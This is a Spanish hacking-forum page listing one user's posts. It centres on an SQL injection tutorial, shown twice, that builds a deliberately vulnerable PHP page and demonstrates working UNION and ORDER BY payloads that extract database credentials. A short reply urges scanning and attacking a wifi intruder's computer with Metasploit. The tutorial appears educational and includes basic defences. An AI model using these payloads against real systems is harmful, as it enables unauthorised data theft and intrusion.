http://www.hackertest.net/
probad tus habilidades como hacker y postea a que nivel llegas seguida de una screen shot
saludos
probad tus habilidades como hacker y postea a que nivel llegas seguida de una screen shot
saludos
- Bienvenido a Test Foro de elhacker.net SMF 2.1.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#202
Hacking / Guia de Inyecciones SQL.
30 Diciembre 2013, 14:58 PM
Introducción a los ataques SQL Injection
Deja un comentario
Para explicar las inyecciones SQL voy a presuponer que se tienen ciertos conocimientos de desarrollo de aplicaciones web utilizando un lenguaje del lado del servidor como PHP, así como el uso de SQL para realizar consultas a una base de datos MySQL. En primer lugar veremos una explicación teórica sobre los ataques SQL Injection. Después un ejemplo práctico de como aprovecharse de esta vulnerabilidad para extraer información de la base de datos y por último veremos como podemos proteger nuestras aplicaciones de este tipo de ataques.
Teoría sobre los ataques SQL Injection
Los ataques SQL Injection explotan una vulnerabilidad en la validación de las entradas a la base de datos de una aplicación. Una inyección SQL consiste en inyectar un código SQL invasor dentro de otro código SQL para alterar su funcionamiento normal haciendo que se ejecute el código invasor en la base de datos.
La mayoría de aplicaciones webs consisten en un conjunto de operaciones con la base de datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la base de datos y para listar las entradas se seleccionan registros en la base de datos. Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un conjunto de módulos separados que interaccionan entre sí a través de los enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace las distintas páginas utilizando variables que después utilizará para hacer las consultas pertinentes a la base de datos.
Vamos a ver un ejemplo teórico para que quede claro como funcionan la mayoría de las aplicaciones web. Imaginaros que entrais al índice principal de un foro donde podeís ver cada categoría. Si quereis ver las entradas de cierta categoría pulsareis sobre el enlace y os mostrará las primeras entradas paginadas.
La URL del enlace podría ser algo así (es ficticia, no entreis):
http://www.miforoinventado.com/viewforum.php?cat=3
Internamente el desarrollador realizará una consulta a la tabla de entradas y seleccionará aquellas cuya categoría tenga un id igual a tres. La consulta podría ser algo así:
$consulta = 'SELECT * FROM entrada
WHERE entrada.id_categoria = '.$_GET['cat'].
' ORDER BY entrada.fecha ASC
LIMIT 1,10';
Esta consulta es vulnerable a ataques SQL Injection. El desarrollador está presuponiendo que nadie va a alterar los datos de entrada de la variable cat y la utiliza en la consulta sin haber pasado antes algunos filtros para evitar las inyecciones SQL. Por lo que podemos decir que este tipo de vulnerabilidad está presente en aquellas consultas que confían en los datos de entrada del usuario y como ya hemos dicho muchísimas veces, una regla fundamental del desarrollo de aplicaciones web es nunca confiar en las entradas de los datos del usuario, ya que podrían verse alteradas, ya sea porque el usuario es un cracker que se quiere divertir o porque el gato del usuario se aburre y se ha puesto a caminar por encima del teclado.
Ejemplo práctico de ataque SQL Injection
Vamos a ver un ejemplo sencillo para practicar las inyecciones SQL. Antes de empezar con los ataques SQL Injection, nos preparamos un entorno seguro de pruebas:
1. Conectamos el servidor web Apache y el servidor MySQL.
2. Creamos una base de datos llamada inyeccion.
CREATE DATABASE inyeccion;
USE inyeccion;
3. Creamos una tabla usuario donde se almacenarán los nombres de usuario con las contraseñas de todos los usuarios que utilizen nuestra aplicación.
CREATE TABLE usuario
(
id INT(15) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
login VARCHAR(30) NOT NULL,
password VARCHAR(50) NOT NULL,
email VARCHAR(50) NOT NULL
);
4. Rellenamos la tabla con datos de prueba.
INSERT INTO usuario
VALUES (NULL, 'francisco', 'password_francisco', 'email_francisco'),
(NULL, 'jose', 'password_jose', 'email_jose'),
(NULL, 'julia', 'password_julia', 'email_julia'),
(NULL, 'estefania', 'password_estefania', 'email_estefania'),
(NULL, 'pablo', 'password_pablo', 'email_pablo');
5. Desarrollamos un script PHP de prueba para inyecciones. Algo sencillo, por ejemplo, un formulario de inicio de sesión que le pida al usuario su id y le muestre al usuario la información que la aplicación dispone de él, es decir, su id, su login y su email.
<html>
<head>
<title>SQL Injection</title>
</head>
<body>
<form action="inyecciones.php" method="get">
<label for="id">ID: </label>
<input type="text" id="id" name="id" />
<input type="submit" value="Iniciar" />
</form>
<?php
if( isset($_GET['id']) )
{
$id = $_GET['id'];
$mysqli = new mysqli('localhost', 'root', '');
$mysqli->select_db('inyeccion');
$consulta = 'SELECT * FROM usuario WHERE id='.$id;
echo $consulta.'<br />';
$resultado = $mysqli->query($consulta);
$usuario = $resultado->fetch_row();
echo 'DATOS DEL USUARIO: <br />';
echo 'ID: '.$usuario[0].'<br />';
echo 'LOGIN: '.$usuario[1].'<br />';
echo 'EMAIL: '.$usuario[3].'<br />';
$resultado->free();
$mysqli->close();
}
?>
</body>
</html>
Como nosotros hemos sido los que hemos desarrollado el código de prueba sabemos que la consulta es vulnerable a inyecciones SQL porque no filtra los datos de entrada. Lo normal es no disponer del código y realizar inyecciones a ciegas, lo que se conoce como Blind SQL Injection.
Antes de nada vamos a ver como funciona nuestro pequeño script accediendo a él desde el navegador:
Introducimos algunos datos de prueba:
Pulsamos el botón Iniciar y vemos que nos muestra de nuevo el formulario para seguir haciendo pruebas, la consulta que se ha ejecutado en el servidor MySQL y los datos que ha recuperado esa consulta, el id, el login y el email:
Fijaros atentamente en la barra de dirección del navegador que es desde donde vamos a realizar las inyecciones, en nuestro ejemplo también podríamos inyectar desde el formulario porque estamos utilizando el método GET de HTTP para pasar los datos al servidor.
http://localhost/pruebas/inyecciones.php?id=1
Comprobando si la aplicación es vulnerable a SQL Injection:
Para comprobar si la aplicación es vulnerable a SQL Injection lo normal es probar alguna inyección SQL básica para ver lo que sucede.
http://localhost/pruebas/inyecciones.php?id=1 and 1=1 --
SELECT * FROM usuario WHERE id=1 and 1=1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
Como podemos observar hemos inyectado nuestro primer código SQL en la consulta y nada ha cambiado, sigue funcionando de la misma manera. Sino fuera porque mostramos la consulta que se ejecuta en el servidor todavía no sabríamos si la aplicación es vulnerable dado que sigue funcionando de la misma forma. Esto es así porque simplemente hemos añadido una condición a la selección que siempre se va a cumplir, puesto que uno es igual a uno. Los dos guiones se utilizan para comentar todo lo que venga después de la consulta.
Para comprobar si es vulnerable añadimos una condición que nunca se cumple y vemos que es lo que sucede.
http://localhost/pruebas/inyecciones.php?id=1 and 1=0 --
SELECT * FROM usuario WHERE id=1 and 1=0 --
DATOS DEL USUARIO:
ID:
LOGIN:
EMAIL:
¡EUREKA! Tenemos una aplicación vulnerable a SQL Injection, aunque ya lo sabíamos desde un principio. Vemos que al añadir una condición que nunca se va a cumplir, puesto que uno nunca va a ser igual a cero, la consulta no devuelve ningún registro y no muestra ningún dato por pantalla.
Extrayendo datos:
Ya sabemos que nuestra aplicación es vulnerable a las inyecciones SQL. En primer lugar vamos a extraer el número de columnas que tiene la tabla usuario. Para poder saber el número de columnas vamos a jugar con la opción ORDER BY de la sentencia SELECT. La cuestión es que si intentamos ordenar los registros que seleccionamos por un número mayor de las columnas que tengamos la consulta no devolverá ningún registro dado que se producirá un error fatal y se abortará la ejecución del script.
http://localhost/pruebas/inyecciones.php?id=1 order by 1 --
SELECT * FROM usuario WHERE id=1 order by 1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
http://localhost/pruebas/inyecciones.php?id=1 order by 2 --
SELECT * FROM usuario WHERE id=1 order by 2 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
http://localhost/pruebas/inyecciones.php?id=1 order by 3 --
SELECT * FROM usuario WHERE id=1 order by 3 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
http://localhost/pruebas/inyecciones.php?id=1 order by 4 --
SELECT * FROM usuario WHERE id=1 order by 4 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
http://localhost/pruebas/inyecciones.php?id=1 order by 5 --
SELECT * FROM usuario WHERE id=1 order by 5 --
Fatal error: Call to a member function fetch_row() on a
non-object in C:\wamp\www\pruebas\inyecciones.php on line 28
Hemos descubierto que la tabla usuario (aunque nosotros no sabemos todavía que la tabla se llama usuario) tiene 4 columnas, puesto que con ORDER BY 5 se produce un error fatal. He activado la directiva display_errors en la configuración de PHP para que muestre los errores fatales que se producen.
Obteniendo información del servidor:
Antes de comenzar a extraer información del servidor MySQl tenemos que explicar la sentencia UNION para unir consultas. Nuestro script está programado para ejecutar las sentencias SQL de una en una, es decir, no podemos ejecutar múltiples sentencias a la vez, por eso nos valemos de la sentencia UNION que se encarga de unir los resultados de dos o más consultas. Solo hay un inconveniente, que todas las sentencias SELECT que unamos con UNION deben de utilizar el mismo número de columnas, por eso hemos extraído el número de columnas anteriormente.
http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT 1,2,3,4
SELECT * FROM usuario WHERE id=-1 UNION SELECT 1,2,3,4
DATOS DEL USUARIO:
ID: 1
LOGIN: 2
EMAIL: 4
Qué estamos haciendo? Hemos unido dos consultas, una que no devuelve ningún dato porque no existe ningún usuario con identificador negativo, y una consulta que devuelve un 1, un 2, un 3 y un 4. De esta forma vemos como se muestran los datos de la segunda consulta, en concreto, se muestra un 1, un 2 y un 4. Ahora podremos sustituir esos tres números en nuestra consulta para extraer información del servidor MySQL.
Podemos utilizar algunas funciones para extraer información:
- user(): Devuelve el usuario de la base de datos.
- version(): Devuelve la versión del servidor MySQL.
- database(): Devuelve el nombre de la base de datos actual.
- current_user(): Devuelve el nombre de usuario y el del host para el que está autenticada la conexión.
- last_insert_id(): Devuelve el último valor generado automáticamente que fue insertado en una columna AUTO_INCREMENT.
- connection_id(): Devuelve el ID de una conexion.
http://localhost/pruebas/inyecciones.php?id=-1 UNION user(),database(),3,version()
SELECT * FROM usuario WHERE id=-1 UNION SELECT user(),database(),3,version()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: inyeccion
EMAIL: 5.1.36-community-log
Ya tenemos el usuario que estamos utilizando para acceder a la base de datos, y mira que suerte, es root, así que seguramente tengamos todos los privilegios asignados para hacer todo lo que queramos. También tenemos el nombre de la base de datos, inyeccion, y además la versión MySQL que estamos utilizando 5.1.36-community-log. Con todos estos datos ya podríamos empezar a hacer cosas interesantes, pero no va de eso este artículo.
Sigamos extrayendo informacion.
http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()
SELECT * FROM usuario WHERE id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: 0
EMAIL: 44
Lo normal cuando encontramos una vulnerabilidad de este estilo es extraer un usuario y una contraseña para acceder remotamente al servidor y ya desde un entorno más sencillo, como una línea de comandos, obtener toda la información que queramos.
MySQL cuenta con una base de datos interna llamada mysql. Dentro de esta base de datos almacena los usuarios y las contraseñas en una tabla llamada users. Por lo tanto podemos obtener esta información inyectando una sentencia SQL:
http://localhost/pruebas/inyecciones.php?id=-1 UNION select host, user, 3, password from mysql.user
SELECT * FROM usuario WHERE id=-1 UNION select host, user, 3, password from mysql.user
DATOS DEL USUARIO:
ID: localhost
LOGIN: root
EMAIL:
Vemos que el usuario es root, el servidor está en localhost dado que está en mi ordenador, pero aquí obtendríais la dirección ip o el nombre de dominio donde estuviera alojado el servidor, y por último que no tiene contraseña. ¡VAYA SEGURIDAD! Si tuviera contraseña os daría un hash que tendrías que crackear utilizando por ejemplo el John The Ripper.
Ahora podemos conectarnos recomtamente en el puerto 3306 que es el que suele usar MySQL por defecto y obtener todos los datos que queramos. Si no podemos acceder remotamente desde la línea de comandos podemos seguir extrayendo información mediante inyecciones haciendo uso de las tablas mysql e information_schema.
Protegiendo nuestras aplicaciones de ataques SQL Injection:
Este tipo de vulnerabilidades son muy peligrosas y hay que aprender a protegerse de ellas. Hay muchos trucos para ponérselo más difícil a los atacantes. Una de las mejores soluciones es utilizar la función mysql_real_escape_string() que se encarga de escapar los caracteres especiales utilizados en las consultas SQL, o utilizar el método real_escape_string() si utilizamos la versión orientada a objetos.
Podemos utilizar este método para escapar los strings que se pasen a las consultas SQL pero si utilizamos datos numéricos en vez de cadenas podemos comprobar que el dato de entrada es un número entero o es un número decimal, ya sea mediante las funciones is_int() o is_float() o realizando castings (int), (float).
Vamos a ver un ejemplo de consulta SQL que no es vulnerable a inyecciones SQL:
$consulta= 'SELECT *
FROM categoria
WHERE id_categoria=\''.(int)$_GET['id'].'\'';
$consulta= 'SELECT *
FROM categoria
WHERE titulo=\''.mysql_real_escape_string($_GET['titulo']).'\';
De esta forma protegemos nuestras aplicaciones de todo tipo de inyecciones SQL.
RESUMEN:
EN este artículo hemos visto que peligroso puede ser este tipo de vulnerabilidades en nuestras aplicaciones ya que mediante inyecciones SQL pueden obtener todos los datos que quieran de nuestra base de datos, incluso de ficheros alojados en el servidor. Hemos practicado un poco con un ejemplo muy sencillo. Podéis seguir practicando con el mismo ejemplo y extraer todos los datos que querais de las tablas mysql e information_schema, desde el nombre de todas las tablas de la base de datos, nombres de las columnas, registros de las tablas, etc.
espero les sirva de ayuda: Att: Nightcode
Deja un comentario
Para explicar las inyecciones SQL voy a presuponer que se tienen ciertos conocimientos de desarrollo de aplicaciones web utilizando un lenguaje del lado del servidor como PHP, así como el uso de SQL para realizar consultas a una base de datos MySQL. En primer lugar veremos una explicación teórica sobre los ataques SQL Injection. Después un ejemplo práctico de como aprovecharse de esta vulnerabilidad para extraer información de la base de datos y por último veremos como podemos proteger nuestras aplicaciones de este tipo de ataques.
Teoría sobre los ataques SQL Injection
Los ataques SQL Injection explotan una vulnerabilidad en la validación de las entradas a la base de datos de una aplicación. Una inyección SQL consiste en inyectar un código SQL invasor dentro de otro código SQL para alterar su funcionamiento normal haciendo que se ejecute el código invasor en la base de datos.
La mayoría de aplicaciones webs consisten en un conjunto de operaciones con la base de datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la base de datos y para listar las entradas se seleccionan registros en la base de datos. Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un conjunto de módulos separados que interaccionan entre sí a través de los enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace las distintas páginas utilizando variables que después utilizará para hacer las consultas pertinentes a la base de datos.
Vamos a ver un ejemplo teórico para que quede claro como funcionan la mayoría de las aplicaciones web. Imaginaros que entrais al índice principal de un foro donde podeís ver cada categoría. Si quereis ver las entradas de cierta categoría pulsareis sobre el enlace y os mostrará las primeras entradas paginadas.
La URL del enlace podría ser algo así (es ficticia, no entreis):
http://www.miforoinventado.com/viewforum.php?cat=3
Internamente el desarrollador realizará una consulta a la tabla de entradas y seleccionará aquellas cuya categoría tenga un id igual a tres. La consulta podría ser algo así:
$consulta = 'SELECT * FROM entrada
WHERE entrada.id_categoria = '.$_GET['cat'].
' ORDER BY entrada.fecha ASC
LIMIT 1,10';
Esta consulta es vulnerable a ataques SQL Injection. El desarrollador está presuponiendo que nadie va a alterar los datos de entrada de la variable cat y la utiliza en la consulta sin haber pasado antes algunos filtros para evitar las inyecciones SQL. Por lo que podemos decir que este tipo de vulnerabilidad está presente en aquellas consultas que confían en los datos de entrada del usuario y como ya hemos dicho muchísimas veces, una regla fundamental del desarrollo de aplicaciones web es nunca confiar en las entradas de los datos del usuario, ya que podrían verse alteradas, ya sea porque el usuario es un cracker que se quiere divertir o porque el gato del usuario se aburre y se ha puesto a caminar por encima del teclado.
Ejemplo práctico de ataque SQL Injection
Vamos a ver un ejemplo sencillo para practicar las inyecciones SQL. Antes de empezar con los ataques SQL Injection, nos preparamos un entorno seguro de pruebas:
1. Conectamos el servidor web Apache y el servidor MySQL.
2. Creamos una base de datos llamada inyeccion.
CREATE DATABASE inyeccion;
USE inyeccion;
3. Creamos una tabla usuario donde se almacenarán los nombres de usuario con las contraseñas de todos los usuarios que utilizen nuestra aplicación.
CREATE TABLE usuario
(
id INT(15) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
login VARCHAR(30) NOT NULL,
password VARCHAR(50) NOT NULL,
email VARCHAR(50) NOT NULL
);
4. Rellenamos la tabla con datos de prueba.
INSERT INTO usuario
VALUES (NULL, 'francisco', 'password_francisco', 'email_francisco'),
(NULL, 'jose', 'password_jose', 'email_jose'),
(NULL, 'julia', 'password_julia', 'email_julia'),
(NULL, 'estefania', 'password_estefania', 'email_estefania'),
(NULL, 'pablo', 'password_pablo', 'email_pablo');
5. Desarrollamos un script PHP de prueba para inyecciones. Algo sencillo, por ejemplo, un formulario de inicio de sesión que le pida al usuario su id y le muestre al usuario la información que la aplicación dispone de él, es decir, su id, su login y su email.
<html>
<head>
<title>SQL Injection</title>
</head>
<body>
<form action="inyecciones.php" method="get">
<label for="id">ID: </label>
<input type="text" id="id" name="id" />
<input type="submit" value="Iniciar" />
</form>
<?php
if( isset($_GET['id']) )
{
$id = $_GET['id'];
$mysqli = new mysqli('localhost', 'root', '');
$mysqli->select_db('inyeccion');
$consulta = 'SELECT * FROM usuario WHERE id='.$id;
echo $consulta.'<br />';
$resultado = $mysqli->query($consulta);
$usuario = $resultado->fetch_row();
echo 'DATOS DEL USUARIO: <br />';
echo 'ID: '.$usuario[0].'<br />';
echo 'LOGIN: '.$usuario[1].'<br />';
echo 'EMAIL: '.$usuario[3].'<br />';
$resultado->free();
$mysqli->close();
}
?>
</body>
</html>
Como nosotros hemos sido los que hemos desarrollado el código de prueba sabemos que la consulta es vulnerable a inyecciones SQL porque no filtra los datos de entrada. Lo normal es no disponer del código y realizar inyecciones a ciegas, lo que se conoce como Blind SQL Injection.
Antes de nada vamos a ver como funciona nuestro pequeño script accediendo a él desde el navegador:
Introducimos algunos datos de prueba:
Pulsamos el botón Iniciar y vemos que nos muestra de nuevo el formulario para seguir haciendo pruebas, la consulta que se ha ejecutado en el servidor MySQL y los datos que ha recuperado esa consulta, el id, el login y el email:
Fijaros atentamente en la barra de dirección del navegador que es desde donde vamos a realizar las inyecciones, en nuestro ejemplo también podríamos inyectar desde el formulario porque estamos utilizando el método GET de HTTP para pasar los datos al servidor.
http://localhost/pruebas/inyecciones.php?id=1
Comprobando si la aplicación es vulnerable a SQL Injection:
Para comprobar si la aplicación es vulnerable a SQL Injection lo normal es probar alguna inyección SQL básica para ver lo que sucede.
http://localhost/pruebas/inyecciones.php?id=1 and 1=1 --
SELECT * FROM usuario WHERE id=1 and 1=1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
Como podemos observar hemos inyectado nuestro primer código SQL en la consulta y nada ha cambiado, sigue funcionando de la misma manera. Sino fuera porque mostramos la consulta que se ejecuta en el servidor todavía no sabríamos si la aplicación es vulnerable dado que sigue funcionando de la misma forma. Esto es así porque simplemente hemos añadido una condición a la selección que siempre se va a cumplir, puesto que uno es igual a uno. Los dos guiones se utilizan para comentar todo lo que venga después de la consulta.
Para comprobar si es vulnerable añadimos una condición que nunca se cumple y vemos que es lo que sucede.
http://localhost/pruebas/inyecciones.php?id=1 and 1=0 --
SELECT * FROM usuario WHERE id=1 and 1=0 --
DATOS DEL USUARIO:
ID:
LOGIN:
EMAIL:
¡EUREKA! Tenemos una aplicación vulnerable a SQL Injection, aunque ya lo sabíamos desde un principio. Vemos que al añadir una condición que nunca se va a cumplir, puesto que uno nunca va a ser igual a cero, la consulta no devuelve ningún registro y no muestra ningún dato por pantalla.
Extrayendo datos:
Ya sabemos que nuestra aplicación es vulnerable a las inyecciones SQL. En primer lugar vamos a extraer el número de columnas que tiene la tabla usuario. Para poder saber el número de columnas vamos a jugar con la opción ORDER BY de la sentencia SELECT. La cuestión es que si intentamos ordenar los registros que seleccionamos por un número mayor de las columnas que tengamos la consulta no devolverá ningún registro dado que se producirá un error fatal y se abortará la ejecución del script.
http://localhost/pruebas/inyecciones.php?id=1 order by 1 --
SELECT * FROM usuario WHERE id=1 order by 1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
http://localhost/pruebas/inyecciones.php?id=1 order by 2 --
SELECT * FROM usuario WHERE id=1 order by 2 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
http://localhost/pruebas/inyecciones.php?id=1 order by 3 --
SELECT * FROM usuario WHERE id=1 order by 3 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
http://localhost/pruebas/inyecciones.php?id=1 order by 4 --
SELECT * FROM usuario WHERE id=1 order by 4 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
http://localhost/pruebas/inyecciones.php?id=1 order by 5 --
SELECT * FROM usuario WHERE id=1 order by 5 --
Fatal error: Call to a member function fetch_row() on a
non-object in C:\wamp\www\pruebas\inyecciones.php on line 28
Hemos descubierto que la tabla usuario (aunque nosotros no sabemos todavía que la tabla se llama usuario) tiene 4 columnas, puesto que con ORDER BY 5 se produce un error fatal. He activado la directiva display_errors en la configuración de PHP para que muestre los errores fatales que se producen.
Obteniendo información del servidor:
Antes de comenzar a extraer información del servidor MySQl tenemos que explicar la sentencia UNION para unir consultas. Nuestro script está programado para ejecutar las sentencias SQL de una en una, es decir, no podemos ejecutar múltiples sentencias a la vez, por eso nos valemos de la sentencia UNION que se encarga de unir los resultados de dos o más consultas. Solo hay un inconveniente, que todas las sentencias SELECT que unamos con UNION deben de utilizar el mismo número de columnas, por eso hemos extraído el número de columnas anteriormente.
http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT 1,2,3,4
SELECT * FROM usuario WHERE id=-1 UNION SELECT 1,2,3,4
DATOS DEL USUARIO:
ID: 1
LOGIN: 2
EMAIL: 4
Qué estamos haciendo? Hemos unido dos consultas, una que no devuelve ningún dato porque no existe ningún usuario con identificador negativo, y una consulta que devuelve un 1, un 2, un 3 y un 4. De esta forma vemos como se muestran los datos de la segunda consulta, en concreto, se muestra un 1, un 2 y un 4. Ahora podremos sustituir esos tres números en nuestra consulta para extraer información del servidor MySQL.
Podemos utilizar algunas funciones para extraer información:
- user(): Devuelve el usuario de la base de datos.
- version(): Devuelve la versión del servidor MySQL.
- database(): Devuelve el nombre de la base de datos actual.
- current_user(): Devuelve el nombre de usuario y el del host para el que está autenticada la conexión.
- last_insert_id(): Devuelve el último valor generado automáticamente que fue insertado en una columna AUTO_INCREMENT.
- connection_id(): Devuelve el ID de una conexion.
http://localhost/pruebas/inyecciones.php?id=-1 UNION user(),database(),3,version()
SELECT * FROM usuario WHERE id=-1 UNION SELECT user(),database(),3,version()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: inyeccion
EMAIL: 5.1.36-community-log
Ya tenemos el usuario que estamos utilizando para acceder a la base de datos, y mira que suerte, es root, así que seguramente tengamos todos los privilegios asignados para hacer todo lo que queramos. También tenemos el nombre de la base de datos, inyeccion, y además la versión MySQL que estamos utilizando 5.1.36-community-log. Con todos estos datos ya podríamos empezar a hacer cosas interesantes, pero no va de eso este artículo.
Sigamos extrayendo informacion.
http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()
SELECT * FROM usuario WHERE id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: 0
EMAIL: 44
Lo normal cuando encontramos una vulnerabilidad de este estilo es extraer un usuario y una contraseña para acceder remotamente al servidor y ya desde un entorno más sencillo, como una línea de comandos, obtener toda la información que queramos.
MySQL cuenta con una base de datos interna llamada mysql. Dentro de esta base de datos almacena los usuarios y las contraseñas en una tabla llamada users. Por lo tanto podemos obtener esta información inyectando una sentencia SQL:
http://localhost/pruebas/inyecciones.php?id=-1 UNION select host, user, 3, password from mysql.user
SELECT * FROM usuario WHERE id=-1 UNION select host, user, 3, password from mysql.user
DATOS DEL USUARIO:
ID: localhost
LOGIN: root
EMAIL:
Vemos que el usuario es root, el servidor está en localhost dado que está en mi ordenador, pero aquí obtendríais la dirección ip o el nombre de dominio donde estuviera alojado el servidor, y por último que no tiene contraseña. ¡VAYA SEGURIDAD! Si tuviera contraseña os daría un hash que tendrías que crackear utilizando por ejemplo el John The Ripper.
Ahora podemos conectarnos recomtamente en el puerto 3306 que es el que suele usar MySQL por defecto y obtener todos los datos que queramos. Si no podemos acceder remotamente desde la línea de comandos podemos seguir extrayendo información mediante inyecciones haciendo uso de las tablas mysql e information_schema.
Protegiendo nuestras aplicaciones de ataques SQL Injection:
Este tipo de vulnerabilidades son muy peligrosas y hay que aprender a protegerse de ellas. Hay muchos trucos para ponérselo más difícil a los atacantes. Una de las mejores soluciones es utilizar la función mysql_real_escape_string() que se encarga de escapar los caracteres especiales utilizados en las consultas SQL, o utilizar el método real_escape_string() si utilizamos la versión orientada a objetos.
Podemos utilizar este método para escapar los strings que se pasen a las consultas SQL pero si utilizamos datos numéricos en vez de cadenas podemos comprobar que el dato de entrada es un número entero o es un número decimal, ya sea mediante las funciones is_int() o is_float() o realizando castings (int), (float).
Vamos a ver un ejemplo de consulta SQL que no es vulnerable a inyecciones SQL:
$consulta= 'SELECT *
FROM categoria
WHERE id_categoria=\''.(int)$_GET['id'].'\'';
$consulta= 'SELECT *
FROM categoria
WHERE titulo=\''.mysql_real_escape_string($_GET['titulo']).'\';
De esta forma protegemos nuestras aplicaciones de todo tipo de inyecciones SQL.
RESUMEN:
EN este artículo hemos visto que peligroso puede ser este tipo de vulnerabilidades en nuestras aplicaciones ya que mediante inyecciones SQL pueden obtener todos los datos que quieran de nuestra base de datos, incluso de ficheros alojados en el servidor. Hemos practicado un poco con un ejemplo muy sencillo. Podéis seguir practicando con el mismo ejemplo y extraer todos los datos que querais de las tablas mysql e information_schema, desde el nombre de todas las tablas de la base de datos, nombres de las columnas, registros de las tablas, etc.
espero les sirva de ayuda: Att: Nightcode
#203
Hacking / Re: Pregunta Sobre maquina virtual
30 Diciembre 2013, 14:20 PMCita de: CL1O en 30 Diciembre 2013, 13:55 PM
No hay por donde.llegado el caso, podes intentar manejar algunos troyanos, comando de red, herramientas de auditoria, etc.
Si es que suma, no resta. Podes leer sobre redes, que es la base de todo!
SALudos
jeje claro todo viene bien. el conocimiento es poder
#204
Hacking / Re: Abrir puerto 23
30 Diciembre 2013, 14:18 PMCita de: luistrea en 19 Diciembre 2012, 17:38 PM
Quiero hacer un control remoto entre dos ordenadores mios con telnet, pero me da error en el puerto 23, alguien sabe como abir el puerto.
inicio panel de control firewall > abrir puerto > puerto 23
#205
Hacking / Re: Pregunta Sobre maquina virtual
30 Diciembre 2013, 13:46 PMCita de: CL1O en 30 Diciembre 2013, 13:36 PM
Bueno, vamos por partes.
1) cual es la mejor maquina virtual para esto? y la mas sencilla de usar?
Las mas sencilla de usar es Virtual PC de Microsoft, lo que no quiere decir que sea la mejor.
2) a la hora de instalarla solo la instalo ejecuto el windows virtual que voy a vulnerar ya sea 7 xp o el mas basico.
Bueno, no interprete bien creo, pero te respondo lo que me pareció leer, primero instales la maquina virtual, la configuras, después instales el sistema operativo que vas a usar, independientemente del que sea.
El mas básico va a ser depende el conocimiento que tengas, para atacar un sistema lo tenes que conocer primero.
3) como pregunta final el programa para realizar ataque ejemplo metasploit lo instalo e my windows original (no virtual) y de hay realizo los ataques a la maquina virtual? cierto?
Bueno en cuento al ataque que tenes pensado, tenes que conocer el sistema como te dije antes no todos se atacan de la misma forma, tenes que saber sus vulnerabilidades, los puertos los servicios que ofrecen, para ver cual esta en jaque y poder aprovecharte, podes usar algún scanner aunque no te aconsejo eso, pero a modo practica en tu pc si.
Para poder entrar y ver que se puede hacer una ver que entras te puede decir que configures el "windows virtual" para que como dijiste que con la practica hagas al maestro.
SALudos
PD: aunque no lo creas no soy un genio, así que el que tenga mas experiencia te va a dar mas detalles.
Muchísimas Gracias de verdad me ah quedado muy claro
#206
Hacking / Re: Tengo una duda sobre lo que es un hack.
30 Diciembre 2013, 13:28 PM
ninguna pregunta es patetica. hermano poco a poco iras aprendiendo solo lee mas googlea mas y busca mas información nunca te rindas que todo es posible cuando menos te des cuenta ya seras el proximo Kevin mithnik o como sea que se escriba su name xD ustedes me entienden . cada uno de nosotros nos desenvolvemos en diferentes campos de la informática
#207
Hacking / Re: Necesito ayuda de profesionales¡¡tengo un intruso ¡¡
30 Diciembre 2013, 13:26 PMCita de: pepelu_jaen en 17 Diciembre 2013, 18:41 PM
Hola buenas tardes, recurro a la comunidad porque tengo un problema. Desde hace cosa de un mes tengo un intruso en mi red wifi, el tipo tienes que ser un profesional porque por mas que cambio mi clave, la hago mas larga y mas dificl el tipo sigue entrando, el tiene que saber que yo se que esta metido pero el tio no para es todos los dias, por las noches apago el router eso si...
La cosa es que si entro en EQUIPO y en RED me sale su equipo que es JAVI-PC intento entrar para ver si puedo usmear en sus imajenes y saber quien es pero me pide contraseña...
¿ hay alguna forma de entrar en su equipo y infectarlo con algo o al menos saber quien usmea en mi red ?
Porfavor ayudadme el tio que es un cara dura debe ademas de descargar bastante porque mi internet va super lento desde que el javi este se a entrometido en mi red.
GRACIAS¡¡¡¡
Pues primero dudo mucho que te denuncien ya que estas defendiendote el que puede estar en problemas es el.
2) tu dices que cambias la clave wifi y la pones larga (alfa numerica) lo que me extraña es que te la descifre tan fácil que cifrado y protección estas usando? Wpa? o wpa2 psk? << esta es mejor. si es wpa te la va a romper mas facil q tirar una copa al suelo. a menos que este usando un ordenador potente.
3) no puedes ver sus archivos compartidos porque obviamente sabe lo que hace bloqueo para evitar daños a su información y que te vengues lo que podes hacer es enviarle sms via DOS y tal vez hacer un mapeo de su red verificar la direccion ip y ver q puertos tiene habiertos. desde tu DOS. y de hay realizar una intrusión utilizando metasploit o backbtrack para poder sacarlo es mi opinion
ojo todo lo que dije es informativo no incito a nada.
#208
